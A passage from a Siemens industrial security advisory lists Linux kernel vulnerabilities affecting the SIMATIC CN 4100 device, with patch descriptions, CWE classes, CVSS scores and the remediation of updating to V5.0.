class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected 